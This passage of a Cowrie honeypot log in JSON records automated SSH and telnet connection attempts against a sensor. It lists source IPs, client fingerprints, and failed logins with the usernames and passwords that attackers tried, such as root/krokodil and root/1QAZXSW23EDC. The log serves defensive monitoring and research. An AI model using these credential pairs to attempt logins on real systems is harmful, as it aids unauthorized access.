{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:99:b2:10:24:eb:66:db:36:9a:8f:ff:db:90:c9:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9Ck9wE0jd72fxw80WfbfYYzAfihMSEP1+LggMo2Z1PL/qFm5JbssXiFcR1BvY57y4RUyH4bFQjmu9qXO/ra8xGPcI6by3U49BRUnOYDpX0xy5O43PfvFCQeAEmYLRjzKDQzrcRD7baFguwe0ETlFpyvmqTsJZhIIV6RN/yjgXdNG3crQ+231iHkLSxGVLUkeJMrSvdCktqgYsWlwPnYp188sDfyj4aGtOa23DabU9GDXsN2D8EIFKk6Ve6zitXpNwvovqWLpxUS0zdyX6fL/cEDfctJGJJX2Xiakma4Xx5JT20SuwI7R9ElzZ0wD/nmuOCZrMfdB9K0AiwKzzAF/uQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.614352Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:8e:ba:b9:d6:34:4d:b9:02:a3:ee:d0:71:be:05:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNZhaXkwZNb/BXaSj/LUgdP890stu9QoRBW/gkoKdgsnThD/N/0KeJMvu/KEe6NV1Y+8g6Ts8y+O71+hvbBYiVUbnJZ/pkKeUR9zfhOjYOSVW0G/npUHtQtMbKEkQ9XrXGEMTo5+mRApIPrQnIClt5sDyvEx31oUvklQqKQB6GtxCsZk/MI04fjo4py5nNqFiCpUyBRAV0ilxVp1k6juERRMEVIkmI/s4b7mXZ6mj1Fs2a2ZbmRNOn5CuWfBxYjZhPNS4DOmj7ZrBgfg8Xt3M81BS/NL3TjTNQBXr+eDhjSCtEJDjz2+I0iocxnaFR43LY3iu2YjdURPmWLT1gKIw07k4ZopqteUa6WnFdE2+XKJHCQmt9bymBbRbQZ7RZ5pMBNB+GT4WOQ0uxYweDFj+o2gxzdz7+36YLHccEUGLwGF3WQ9WkfAI+wqlLPNRZsVgYiuEIcsTMaxv1KT6uWcGY6kWGeGOr9RxoApbe1O5VNgaVnMQRxqYP1QINsPgcL6YUIpE1nR38AEjMYfMeOOUFDSSfAtXJ5AHIH31Vveyft5fMHgBzNU1vY5z5zWz/mzJcZaahQaqdaUhI/E95Rr7ONhvqxQhdR+0LGSmyst1dZ3VPLAwrjBv5nVTCFa6sRfRE8qR8b0uOsxqAuiOordhKhNs8Mx6DI9fzy0Af17fGLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:8e:ba:b9:d6:34:4d:b9:02:a3:ee:d0:71:be:05:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.634564Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:8e:ba:b9:d6:34:4d:b9:02:a3:ee:d0:71:be:05:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNZhaXkwZNb/BXaSj/LUgdP890stu9QoRBW/gkoKdgsnThD/N/0KeJMvu/KEe6NV1Y+8g6Ts8y+O71+hvbBYiVUbnJZ/pkKeUR9zfhOjYOSVW0G/npUHtQtMbKEkQ9XrXGEMTo5+mRApIPrQnIClt5sDyvEx31oUvklQqKQB6GtxCsZk/MI04fjo4py5nNqFiCpUyBRAV0ilxVp1k6juERRMEVIkmI/s4b7mXZ6mj1Fs2a2ZbmRNOn5CuWfBxYjZhPNS4DOmj7ZrBgfg8Xt3M81BS/NL3TjTNQBXr+eDhjSCtEJDjz2+I0iocxnaFR43LY3iu2YjdURPmWLT1gKIw07k4ZopqteUa6WnFdE2+XKJHCQmt9bymBbRbQZ7RZ5pMBNB+GT4WOQ0uxYweDFj+o2gxzdz7+36YLHccEUGLwGF3WQ9WkfAI+wqlLPNRZsVgYiuEIcsTMaxv1KT6uWcGY6kWGeGOr9RxoApbe1O5VNgaVnMQRxqYP1QINsPgcL6YUIpE1nR38AEjMYfMeOOUFDSSfAtXJ5AHIH31Vveyft5fMHgBzNU1vY5z5zWz/mzJcZaahQaqdaUhI/E95Rr7ONhvqxQhdR+0LGSmyst1dZ3VPLAwrjBv5nVTCFa6sRfRE8qR8b0uOsxqAuiOordhKhNs8Mx6DI9fzy0Af17fGLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.638011Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:42.656761Z","src_ip":"148.113.160.5","session":"8892faba6a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":49338,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f55fd99eeb","protocol":"ssh","message":"New connection: 50.7.136.106:49338 (10.17.0.5:22) [session: 13f55fd99eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:48.592129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:48.595398Z","src_ip":"50.7.136.106","session":"13f55fd99eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:48.675967Z","src_ip":"50.7.136.106","session":"13f55fd99eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fjbdfdjkdsfs541544","message":"login attempt [root/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:48.921105Z","src_ip":"50.7.136.106","session":"13f55fd99eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:50.005453Z","src_ip":"50.7.136.106","session":"13f55fd99eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50830,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef1275997a1","protocol":"telnet","message":"New connection: 152.42.224.71:50830 (10.17.0.5:23) [session: 3ef1275997a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:54.130719Z"}
{"eventid":"cowrie.session.closed","duration":37.143710136413574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:57.155596Z","src_ip":"152.42.224.71","session":"22c25d79d859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":40796,"dst_ip":"10.17.0.5","dst_port":22,"session":"609924e89d2b","protocol":"ssh","message":"New connection: 43.153.54.120:40796 (10.17.0.5:22) [session: 609924e89d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:59.470194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:59.473883Z","src_ip":"43.153.54.120","session":"609924e89d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:59.541985Z","src_ip":"43.153.54.120","session":"609924e89d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW23EDC","message":"login attempt [root/1QAZXSW23EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:32:59.847359Z","src_ip":"43.153.54.120","session":"609924e89d2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:00.918306Z","src_ip":"43.153.54.120","session":"609924e89d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43150,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a16f658fc8","protocol":"ssh","message":"New connection: 103.15.222.183:43150 (159.203.135.109:22) [session: 21a16f658fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:01.238675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:01.244835Z","src_ip":"103.15.222.183","session":"21a16f658fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:01.500356Z","src_ip":"103.15.222.183","session":"21a16f658fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krokodil","message":"login attempt [root/krokodil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:02.265828Z","src_ip":"103.15.222.183","session":"21a16f658fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:03.524786Z","src_ip":"103.15.222.183","session":"21a16f658fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54898,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0796e06015","protocol":"telnet","message":"New connection: 152.42.224.71:54898 (10.17.0.5:23) [session: 3c0796e06015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:04.846230Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57418,"dst_ip":"10.17.0.5","dst_port":22,"session":"882b986b9936","protocol":"ssh","message":"New connection: 193.32.162.145:57418 (10.17.0.5:22) [session: 882b986b9936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:12.678091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:12.682747Z","src_ip":"193.32.162.145","session":"882b986b9936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:12.781571Z","src_ip":"193.32.162.145","session":"882b986b9936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:13.131766Z","src_ip":"193.32.162.145","session":"882b986b9936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:14.229589Z","src_ip":"193.32.162.145","session":"882b986b9936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.635767459869385,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:15.174067Z","src_ip":"152.42.224.71","session":"e851932e5a5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52230,"dst_ip":"10.17.0.5","dst_port":23,"session":"b114b2a91414","protocol":"telnet","message":"New connection: 152.42.224.71:52230 (10.17.0.5:23) [session: b114b2a91414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:23.869591Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52240,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1d9b18eec7","protocol":"telnet","message":"New connection: 152.42.224.71:52240 (10.17.0.5:23) [session: 3a1d9b18eec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:25.450665Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7012ac7150","protocol":"telnet","message":"New connection: 152.42.224.71:56070 (10.17.0.5:23) [session: 8f7012ac7150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:26.580992Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56086,"dst_ip":"10.17.0.5","dst_port":23,"session":"3347deb02fc4","protocol":"telnet","message":"New connection: 152.42.224.71:56086 (10.17.0.5:23) [session: 3347deb02fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:28.506162Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":50158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba66e95274a","protocol":"ssh","message":"New connection: 194.147.93.208:50158 (10.17.0.5:22) [session: 0ba66e95274a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:32.740000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:32.744446Z","src_ip":"194.147.93.208","session":"0ba66e95274a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:32.834756Z","src_ip":"194.147.93.208","session":"0ba66e95274a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supportsupport","message":"login attempt [root/supportsupport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:33.229096Z","src_ip":"194.147.93.208","session":"0ba66e95274a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:34.322961Z","src_ip":"194.147.93.208","session":"0ba66e95274a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56100,"dst_ip":"10.17.0.5","dst_port":23,"session":"492c961bd5d1","protocol":"telnet","message":"New connection: 152.42.224.71:56100 (10.17.0.5:23) [session: 492c961bd5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:34.472219Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49134,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2645856c66e","protocol":"telnet","message":"New connection: 152.42.224.71:49134 (10.17.0.5:23) [session: a2645856c66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:38.806608Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49146,"dst_ip":"10.17.0.5","dst_port":23,"session":"b88822f9305c","protocol":"telnet","message":"New connection: 152.42.224.71:49146 (10.17.0.5:23) [session: b88822f9305c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:43.700510Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e505b86ac28a","protocol":"telnet","message":"New connection: 152.42.224.71:49162 (10.17.0.5:23) [session: e505b86ac28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:44.222589Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":58560,"dst_ip":"10.17.0.5","dst_port":22,"session":"229d0db110bf","protocol":"ssh","message":"New connection: 43.159.35.21:58560 (10.17.0.5:22) [session: 229d0db110bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:55.318567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:55.322618Z","src_ip":"43.159.35.21","session":"229d0db110bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 